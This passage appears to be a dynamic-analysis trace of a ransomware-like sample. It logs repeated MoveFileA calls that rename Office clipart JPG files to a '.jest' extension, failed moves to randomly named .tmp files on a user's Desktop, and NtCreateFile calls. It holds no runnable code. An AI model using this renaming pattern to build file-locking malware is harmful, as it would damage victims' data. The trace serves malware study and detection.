Office\\CLIPART\\PUB60COR\\J0178459.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg.jest")) returned 1 [0169.422] VarBstrFromR4 (in: fltIn=0x4794597d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.98") returned 0x0 [0169.423] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hP1kLuXn2dR8glGXGRKF2YfdXz5EsfDOBmBiVzf_Wqtw6p5jWgopEL-S2GEuEVcWSNeGNUx4ScZUmdOcNb5 u-AUWVRbhP8jNQx.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hp1kluxn2dr8glgxgrkf2yfdxz5esfdobmbivzf_wqtw6p5jwgopel-s2geuevcwsnegnux4sczumdocnb5 u-auwvrbhp8jnqx.tmp")) returned 0 [0169.423] GetLastError () returned 0x2 [0169.423] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.424] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg.jest")) returned 1 [0169.426] VarBstrFromR4 (in: fltIn=0x4794597f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.99") returned 0x0 [0169.427] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\C nliZVA-XGR -eI5gLfrRDFAO9Ad KatchPKF1sjsECQyI0aI-oItQjCUKi5gJFyYd4ucVXkWSctrmR-2zyJ6tzYJz5zcLvEiXfv.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\c nlizva-xgr -ei5glfrrdfao9ad katchpkf1sjsecqyi0ai-oitqjcuki5gjfyyd4ucvxkwsctrmr-2zyj6tzyjz5zclveixfv.tmp")) returned 0 [0169.427] GetLastError () returned 0x2 [0169.427] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.429] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg.jest")) returned 1 [0169.431] VarBstrFromR4 (in: fltIn=0x4794597f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.99") returned 0x0 [0169.432] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\inwmDYDSkBAY7NLGEmhoMdCdKXQzW6VT1pTvOBEM67I1dfPzzY9RVYKseMQOGGdfmb3o4pIQ_r6qDuT3_ BWooDB4UOkkL89Ny34.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\inwmdydskbay7nlgemhomdcdkxqzw6vt1ptvobem67i1dfpzzy9rvyksemqoggdfmb3o4piq_r6qdut3_ bwoodb4uokkl89ny34.tmp")) returned 0 [0169.432] GetLastError () returned 0x2 [0169.432] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.433] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg.jest")) returned 1 [0169.436] VarBstrFromR4 (in: fltIn=0x4794597f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.99") returned 0x0 [0169.437] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OR17vMY2zOem9U4Sg_DC8DqcYAyxJZ6prdLnRQBxQfWCS9qqvFFB9IRr_gWbbx0Xx9QK-CZhkyFXWTGiNVmGba7GTZ9ay9fCw_KmL.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\or17vmy2zoem9u4sg_dc8dqcyayxjz6prdlnrqbxqfwcs9qqvffb9irr_gwbbx0xx9qk-czhkyfxwtginvmgba7gtz9ay9fcw_kml.tmp")) returned 0 [0169.437] GetLastError () returned 0x2 [0169.442] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.443] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0202045.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0202045.jpg.jest")) returned 1 [0169.446] VarBstrFromR4 (in: fltIn=0x47945981, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.01") returned 0x0 [0169.447] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0202045.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ S-G8kQSbTJvVJJuxlBmr8xvGk6SWLX1D6DZY2SiDJWzoa_SV RcRedTfbwqwsKRNJ3qZHA8v Tqj3KdZQbSyHs1EaocVwB55M3Fz.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ s-g8kqsbtjvvjjuxlbmr8xvgk6swlx1d6dzy2sidjwzoa_sv rcredtfbwqwskrnj3qzha8v tqj3kdzqbsyhs1eaocvwb55m3fz.tmp")) returned 0 [0169.447] GetLastError () returned 0x2 [0169.448] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.449] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216112.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216112.jpg.jest")) returned 1 [0169.451] VarBstrFromR4 (in: fltIn=0x47945981, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.01") returned 0x0 [0169.452] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216112.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rQRuHltSohWX5fLKPq-x C-zgKBfi-23eS DxO8mOlrdDz_cA 7T0jEyKwI0_sqOq0R sF52yIOsne0mnGdVdgZT_0Ir__fCCjiv.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rqruhltsohwx5flkpq-x c-zgkbfi-23es dxo8molrddz_ca 7t0jeykwi0_sqoq0r sf52yiosne0mngdvdgzt_0ir__fccjiv.tmp")) returned 0 [0169.452] GetLastError () returned 0x2 [0169.452] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.454] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227419.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227419.jpg.jest")) returned 1 [0169.455] VarBstrFromR4 (in: fltIn=0x47945981, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.01") returned 0x0 [0169.456] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227419.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4PRzbKrtigfdIdyIVGD9j_5zTGSCE7z-UZ2c1SIPRWOOvtV0xgM4PT1LQW438KD7wxBCoFt-UxZceyZZjN2nAZPwnPg-DZtWFEKmB.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\4przbkrtigfdidyivgd9j_5ztgsce7z-uz2c1siprwoovtv0xgm4pt1lqw438kd7wxbcoft-uxzceyzzjn2nazpwnpg-dztwfekmb.tmp")) returned 0 [0169.456] GetLastError () returned 0x2 [0169.461] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.462] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287641.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287641.jpg.jest")) returned 1 [0169.465] VarBstrFromR4 (in: fltIn=0x47945983, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.02") returned 0x0 [0169.466] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287641.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aEgYBbKGp5GFjlJIKKIFj8xcCwjM7plMHvKYKe2sozmsyDRb 3GwtpMdyU3Eo pm0n_QEZ2W_r7pTtRfsUzyDxu9uS_eyRe2as_.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\aegybbkgp5gfjljikkifj8xccwjm7plmhvkyke2sozmsydrb 3gwtpmdyu3eo pm0n_qez2w_r7pttrfsuzydxu9us_eyre2as_.tmp")) returned 0 [0169.466] GetLastError () returned 0x2 [0169.466] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.469] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287642.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287642.jpg.jest")) returned 1 [0169.471] VarBstrFromR4 (in: fltIn=0x47945983, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.02") returned 0x0 [0169.471] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287642.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BPoH_nQQHW3j-MfH7gkmPZgfu0pRooYU5-vnRrP9n6U1uErj6zeLzm l0HdsfeShKorJJEcMDtUc7Gv76SrfI6WSEws45xgP j58m.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bpoh_nqqhw3j-mfh7gkmpzgfu0prooyu5-vnrrp9n6u1uerj6zelzm l0hdsfeshkorjjecmdtuc7gv76srfi6wsews45xgp j58m.tmp")) returned 0 [0169.472] GetLastError () returned 0x2 [0169.472] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.473] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287643.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287643.jpg.jest")) returned 1 [0169.475] VarBstrFromR4 (in: fltIn=0x47945985, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.04") returned 0x0 [0169.476] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287643.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k_n2sMXA2iuf9uCGfNLNlExWyhiVMXORQftu5Cs9aN_uRvwV4DLudm7gZ2eWP yJ_mzz1Wj8odamyOd9vwoBu-bJn5 ecibkY82y.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k_n2smxa2iuf9ucgfnlnlexwyhivmxorqftu5cs9an_urvwv4dludm7gz2ewp yj_mzz1wj8odamyod9vwobu-bjn5 ecibky82y.tmp")) returned 0 [0169.476] GetLastError () returned 0x2 [0169.476] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.477] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287644.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287644.jpg.jest")) returned 1 [0169.479] VarBstrFromR4 (in: fltIn=0x47945985, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.04") returned 0x0 [0169.480] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287644.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CiGz10 mf6UP2avjXR5T5FJVbgwWHlDbbK-5jofZ9xLISeLRSdWYfxS34-6F63CCU yjjT1SWGHLZVm6n3ZXJa3T-iWvVLoMUHj5.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cigz10 mf6up2avjxr5t5fjvbgwwhldbbk-5jofz9xliselrsdwyfxs34-6f63ccu yjjt1swghlzvm6n3zxja3t-iwvvlomuhj5.tmp")) returned 0 [0169.480] GetLastError () returned 0x2 [0169.480] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.481] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287645.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287645.jpg.jest")) returned 1 [0169.485] VarBstrFromR4 (in: fltIn=0x47945985, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.04") returned 0x0 [0169.486] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287645.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\j5Xct6idv29oOs6Bm m43y wMohi-MW-Vm9q C rutjKbx5qwgiNG84A1htLznp7uaBv7KaNZ-MUdWCIq_LGLWK6lQosXyQse13U.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\j5xct6idv29oos6bm m43y wmohi-mw-vm9q c rutjkbx5qwging84a1htlznp7uabv7kanz-mudwciq_lglwk6lqosxyqse13u.tmp")) returned 0 [0169.486] GetLastError () returned 0x2 [0169.487] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.487] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0289430.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0289430.jpg.jest")) returned 1 [0169.489] VarBstrFromR4 (in: fltIn=0x47945987, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.05") returned 0x0 [0169.490] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0289430.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pKU7DxsCVd3VeQxXm ZB60PdiVpTwBoYp_v A9smXxrVZv6LIJLSsiZueofE_jBEj11vjLRe7XrBuo9dPMwY12098f9YHuzezXHK6.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pku7dxscvd3veqxxm zb60pdivptwboyp_v a9smxxrvzv6lijlssizueofe_jbej11vjlre7xrbuo9dpmwy12098f9yhuzezxhk6.tmp")) returned 0 [0169.490] GetLastError () returned 0x2 [0169.492] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.494] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309480.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309480.jpg.jest")) returned 1 [0169.496] VarBstrFromR4 (in: fltIn=0x47945987, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.05") returned 0x0 [0169.497] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309480.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SNjuWWqlR6TC3pkg8Jrz2HVIe 6JoIsw6H-v0mqJHl k0l1kJ_lzWkGfXCL8A4 6vVsuRLrPnfCTgsOTX-PCM_mP4TTzWfwPylZ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\snjuwwqlr6tc3pkg8jrz2hvie 6joisw6h-v0mqjhl k0l1kj_lzwkgfxcl8a4 6vvsurlrpnfctgsotx-pcm_mp4ttzwfwpylz.tmp")) returned 0 [0169.497] GetLastError () returned 0x2 [0169.497] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.499] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309567.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309567.jpg.jest")) returned 1 [0169.501] VarBstrFromR4 (in: fltIn=0x47945987, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.05") returned 0x0 [0169.502] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309567.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I5wJBdWV2ZQQ5kwSysudE-U dpVe8U4mkBPIHKmRyuj31tC0s66V0f_SeVCtiDK5uh9yK qy77wuV5-6vIzd2-u9VIZpWrxCokWt.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\i5wjbdwv2zqq5kwsysude-u dpve8u4mkbpihkmryuj31tc0s66v0f_sevctidk5uh9yk qy77wuv5-6vizd2-u9vizpwrxcokwt.tmp")) returned 0 [0169.502] GetLastError () returned 0x2 [0169.502] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.504] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309705.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG.jest" (normalized: "c:\\program files\\microsoft 